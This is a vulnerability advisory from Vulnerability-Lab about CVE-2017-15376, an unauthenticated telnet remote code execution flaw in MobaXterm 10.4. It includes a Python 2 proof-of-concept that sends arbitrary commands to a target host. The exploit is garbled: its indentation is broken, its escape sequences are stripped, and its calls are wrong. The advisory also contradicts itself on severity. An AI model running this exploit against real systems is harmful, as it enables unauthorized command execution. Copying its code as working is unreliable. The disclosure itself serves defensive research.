MobaXtrem v10.4 - Remote Code Execution Vulnerability

Document Title:
===============
MobaXtrem v10.4 - Remote Code Execution Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2097

Video: https://www.youtube.com/watch?v=FtBGmwFtRrE

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-15376

CVE-ID:
=======
CVE-2017-15376


Release Date:
=============
2017-09-18


Vulnerability Laboratory ID (VL-ID):
====================================
2097


Common Vulnerability Scoring System:
====================================
6.5


Vulnerability Class:
====================
Code Execution


Current Estimated Price:
========================
3.000€ - 4.000€


Product & Service Introduction:
===============================
We have been creating system and network software since 2008 for worldwide users. Mobatek develops high value products in 
order to provide efficient and cost effective solutions for your IT, development and DBA teams. Our products are designed 
to ensure high security, efficiency and focused on user experience. No headache for deployment: our products do not require 
any dependency, Internet connection or third-party software to run.

(Copy of the Homepage: http://www.mobatek.net/ )
(Source: http://download.mobatek.net/10420170816103227/MobaXterm_Portable_v10.4.zip )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a remote code execution vulnerability in the official MobaXtrem v10.4 software.


Vulnerability Disclosure Timeline:
==================================
2017-09-18: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Mobatek
Product: MobaXtrem - Software 10.4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A remote code execution vulnerability has been discovered in the official MobaXtrem v10.4 software.
The vulnerability allows remote attackers to unauthorized execute malicious codes to compromise the targeted computer system.

Telnet service doesn't authenticate for a remote conncection which allows attacker to pass malicious commands over 
victims computer system through the basic protocol.


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by local and remote attackers without user interaction or privileged user accounts.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

import telnetlib,sys

print """
Exploit => MobaXtrem 10.4 Remote Code Execution
Discoverer => Sultan Albalawi
"""
def get_set(HOST,cmd):
		try :
			tn = telnetlib.Telnet(HOST)
			bg="x63x79x67x73x74x61x72x74"
			tn.write(bg+" ./"+cmd+"n")
			tn.write(main())
			tn.read_all()
		except KeyboardInterrupt:
			print "[-] Execution stopped ... keyboard interrupt raised"
		except Exception as e:
			pass 		
	def main():
		if len(sys.argv)==2:
			HOST = sys.argv[1]
			cmd = str(raw_input("cmd> "))
			if "exit" in cmd :
				sys.exit("exiting...")
			else:
				print"Executing => %s"%cmd
				get_set(HOST,cmd)
		else:
			print "Usage: ./"+sys.argv[0]+" <target_ip>"		
	if __name__ == '__main__':
			main()	


Security Risk:
==============
The security risk of the remote code execution vulnerability in the software is estimated as high (CVSS).


Credits & Authors:
==================
Sultan Albalawi [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Sultan+Albalawi


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=========================
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